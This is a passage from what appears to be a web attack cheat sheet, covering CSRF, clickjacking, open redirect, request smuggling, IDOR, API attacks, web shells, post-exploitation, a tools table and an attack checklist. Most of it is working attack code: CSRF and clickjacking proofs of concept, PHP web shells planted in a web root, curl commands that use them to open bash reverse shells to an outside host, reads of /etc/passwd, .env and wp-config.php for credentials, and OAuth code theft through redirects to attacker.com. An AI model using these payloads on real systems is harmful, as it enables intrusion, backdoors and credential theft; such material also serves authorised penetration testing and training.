    <input type="hidden" name="email" value="attacker@evil.com">
  </form>
</body>
</html>

<!-- JSON CSRF (Content-Type: text/plain trick) -->
<html>
<body>
  <form action="http://target.com/api/user/update" method="POST"
        enctype="text/plain">
    <input name='{"email":"attacker@evil.com","dummy":"' value='"}'>
  </form>
  <script>document.forms.submit();</script>
</body>
</html>

12.2 CSRF Token Bypass

# 1. Remove the token entirely — server may not validate if absent
POST /change-email
# Delete CSRF token parameter

# 2. Change POST to GET
GET /change-email?email=attacker@evil.com

# 3. Use another user's CSRF token — if tokens are not tied to sessions

# 4. CSRF token in referer — bypass with:
# Set Referrer-Policy: no-referrer header in attacker page

# 5. SameSite=None cookies — classic CSRF works if cookie lacks SameSite
# Check: Set-Cookie: session=xxx; SameSite=None; Secure  → vulnerable

13. Clickjacking

What it means: Clickjacking tricks users into clicking on hidden UI elements by overlaying a transparent iframe of the target site over a convincing fake page. The victim thinks they're clicking a button on the fake page, but they're actually clicking on the target site's button (e.g., "Delete Account", "Authorize OAuth App").


<!-- Basic clickjacking PoC -->
<!-- Check if target lacks X-Frame-Options or CSP frame-ancestors -->
curl -I http://target.com | grep -i "x-frame-options\|content-security-policy"
# No header or "ALLOWALL" = vulnerable

<!-- PoC overlay -->
<style>
  #target {
    position: absolute;
    width: 300px; height: 300px;
    opacity: 0.0001;   /* nearly invisible */
    z-index: 10;
  }
  #decoy {
    position: absolute;
    width: 300px; height: 300px;
    z-index: 9;
  }
</style>
<div id="decoy">
  <h2>Click here to win a prize!</h2>
  <button style="margin-top:200px; margin-left:100px;">CLAIM</button>
</div>
<iframe id="target" src="http://target.com/delete-account?confirm=yes"></iframe>

14. Open Redirect

What it means: Open redirect occurs when a web application redirects users to a URL specified in a parameter without validation. While it sounds low severity, it enables phishing (trust borrowed from legitimate domain), OAuth token theft, and chaining into SSRF.


# Find redirect parameters
?redirect=
?url=
?next=
?return=
?returnUrl=
?goto=
?callback=

# Basic exploitation
http://target.com/login?redirect=http://attacker.com
http://target.com/login?next=//attacker.com
http://target.com/login?return=https://attacker.com

# Bypass validation (if only checking prefix)
http://target.com/login?redirect=http://target.com.attacker.com
http://target.com/login?redirect=http://attacker.com%23target.com
http://target.com/login?redirect=//attacker.com

# Chain with OAuth (token theft)
# If redirect_uri allows open redirect, steal OAuth code:
# /oauth/authorize?client_id=X&redirect_uri=http://target.com/redirect?url=http://attacker.com
# → After auth, code is sent to attacker.com

15. HTTP Request Smuggling

What it means: Request smuggling exploits discrepancies between front-end (load balancer/ proxy) and back-end server parsing of HTTP/1.1 chunked transfer encoding and Content-Length headers. The attacker can "smuggle" a partial request that gets prepended to another user's request on the back-end — leading to session hijacking, cache poisoning, and request capture.


# CL.TE — Front-end uses Content-Length, Back-end uses Transfer-Encoding
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# TE.CL — Front-end uses Transfer-Encoding, Back-end uses Content-Length
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# TE.TE — Both support TE but can be confused
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, x
Transfer-Encoding: x
# Detect via timing (CL.TE)
# Send a request that the back-end waits for more data
# Response should take ~10 seconds if vulnerable

# Tools
# Burp Suite HTTP Request Smuggler extension (Albinowax)
# smuggler.py
python3 smuggler.py -u https://target.com

# Exploit to steal request headers (including cookies)
# Smuggle a partial POST to a controlled endpoint so back-end prepends next victim's request

16. IDOR & Broken Access Control

What it means: IDOR (Insecure Direct Object Reference) occurs when an application uses user-controlled input to access objects without authorization checks. Changing an ID in a URL or request body accesses another user's data. It's consistently the #1 finding in bug bounty and real pentests.


# Horizontal privilege escalation (access other users' data)
GET /api/users/1001/profile   → change to 1002
GET /invoice/download?id=1234 → change to 1233
GET /admin/report?user_id=me  → change to admin

# Vertical privilege escalation (access higher-privileged functions)
POST /api/user/update
{"role":"admin"}    # add admin role to your own account

# GUID/UUID bypass — if IDs are UUIDs, find them via:
# - JS source code
# - API responses that leak other users' IDs
# - Username-based endpoints that reveal UUID

# Mass assignment (add extra fields in JSON body)
POST /api/register
{"username":"user","password":"pass","role":"admin"}

# HTTP method override
POST /api/admin/delete-user
X-HTTP-Method-Override: DELETE

# Parameter pollution
GET /api/user?id=1&id=2   # some parsers use last value, some first

# Test all endpoints for missing auth:
ffuf -u http://target.com/api/FUZZ -w endpoints.txt -mc 200,201,301 \
  -H "Authorization: "    # empty or no auth header

17. API Attacks

What it means: REST/GraphQL APIs often have weaker security than web UIs — less testing, inconsistent auth, and verbose error messages. Key attack areas: missing auth on endpoints, excessive data exposure, rate limiting bypass, and GraphQL introspection.


# API enumeration
gobuster dir -u http://target.com/api \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -x json

# Find API version paths
/api/v1/ /api/v2/ /api/v3/
/api/internal/
/api/admin/

# GraphQL — enable introspection (find schema)
# POST /graphql
{"query": "{__schema{types{name}}}"}
{"query": "{__schema{queryType{name}}}"}

# GraphQL introspection full dump
# Use InQL (Burp extension) or graphql-voyager

# GraphQL — find hidden queries
{"query": "{__type(name:\"Query\"){fields{name}}}"}

# REST — test HTTP methods
OPTIONS http://target.com/api/user
# Look for: DELETE, PUT, PATCH on sensitive endpoints

# JWT in API — test all attacks from section 10.1

# Mass assignment in API
GET /api/users/me → shows {"id":1,"name":"user","role":"user"}
PUT /api/users/me → send {"role":"admin"} — may get accepted

18. Web Shells & Post-Exploitation

What it means: Once code execution is achieved via any web attack, deploy a web shell for persistent access and begin post-exploitation — enumerate the server, look for credentials, escalate to OS-level access.


# PHP web shells
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
echo '<?php eval($_POST["c"]); ?>' > /var/www/html/e.php

# Access
curl "http://target.com/shell.php?cmd=id"
curl "http://target.com/shell.php?cmd=cat+/etc/passwd"
curl "http://target.com/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<IP>/4444+0>%261'"

# Upgrade to reverse shell from web shell
# Linux
curl "http://target.com/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<IP>/4444+0>%261'"

# Windows via web shell
curl "http://target.com/shell.aspx?cmd=powershell+-enc+BASE64"

# Weevely — PHP backdoor (obfuscated + encrypted channel)
weevely generate password /tmp/shell.php   # generate shell
weevely http://target.com/shell.php password  # connect

# p0wny-shell / b374k — feature-rich web shells
# Upload and access via browser for GUI interface

# Post-exploitation from webshell:
# Read config files
cat config.php | grep -i "password\|user\|db"
cat .env
cat /var/www/html/wp-config.php
find / -name "*.conf" 2>/dev/null | head -20

# Get reverse shell
bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'
python3 -c 'import socket,os,pty; ...'

19. Tools Quick Reference

Tool Purpose Command
Burp Suite Intercept, scan, replay burpsuite
ffuf Fuzzing (dir, param, subdomains) ffuf -u URL/FUZZ -w wordlist
gobuster Directory brute force gobuster dir -u URL -w wordlist
sqlmap Automated SQLi sqlmap -u URL --dbs
nikto Web server scanner nikto -h URL
wfuzz Web fuzzer wfuzz -c -w wordlist URL/FUZZ
nuclei Template-based scanner nuclei -u URL
jwt_tool JWT analysis & attack python3 jwt_tool.py TOKEN -T
ysoserial Java deserialization java -jar ysoserial.jar CC6 'cmd'
phpggc PHP deserialization gadgets phpggc -l
dalfox XSS scanner dalfox url http://target.com
XSStrike XSS fuzzer python3 xsstrike.py -u URL
gopherus Gopher payload generator gopherus --exploit redis

20. Cheat Sheet

Quick Attack Checklist

Every Input Field/Parameter:
☐ SQLi — try ' " ) ; -- ☐ XSS — try <script>alert(1)</script> / <img src=x onerror=alert(1)> ☐ Command injection — try ; whoami | whoami ☐ SSTI — try <%= 7*7 %> ` ☐ Path traversal — try ../../../../etc/passwd}} ${7_7
☐ SSRF — try http://127.0.0.1/

Every URL Parameter with IDs:
☐ IDOR — increment/decrement the ID
☐ Change numeric ID to negative/0/string

File Upload Endpoints:
☐ Upload .php/.asp/.aspx web shell
☐ Try extension bypass (.php5, .phtml, .phar)
☐ Change Content-Type to image/jpeg
☐ Add magic bytes before PHP code
☐ Try SVG with XSS/XXE

Authentication:
☐ SQLi auth bypass in login
☐ JWT none/RS256→HS256 attack
☐ Password reset token brute force
☐ Default credentials (admin:admin, admin:password)

XML Endpoints:
☐ XXE file read
☐ XXE SSRF to internal services

API Endpoints:
☐ Test without auth token
☐ GraphQL introspection
☐ Mass assignment (add role:admin)
☐ HTTP method override (X-HTTP-Method-Override)

One-Liner References

# SQLMap full auto
sqlmap -r burp_request.txt --batch --level 5 --risk 3 --dbs --dump

# XSS scanner
dalfox url "http://target.com/search?q=test"

# Nuclei full scan
nuclei -u http://target.com -t cves/ -t exposures/ -t vulnerabilities/

# ffuf vhost discovery
ffuf -u http://target.com -H "Host: FUZZ.target.com" \
  -w subdomains.txt -fs <default_size>

# Reverse shell via command injection
curl "http://target.com/ping?host=;bash+-c+'bash+-i+>%26+/dev/tcp/<IP>/4444+0>%261'"

# Start listener
nc -lvnp 4444

# Upgrade shell (after getting it)
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z → stty raw -echo; fg → export TERM=xterm

← Web top ↑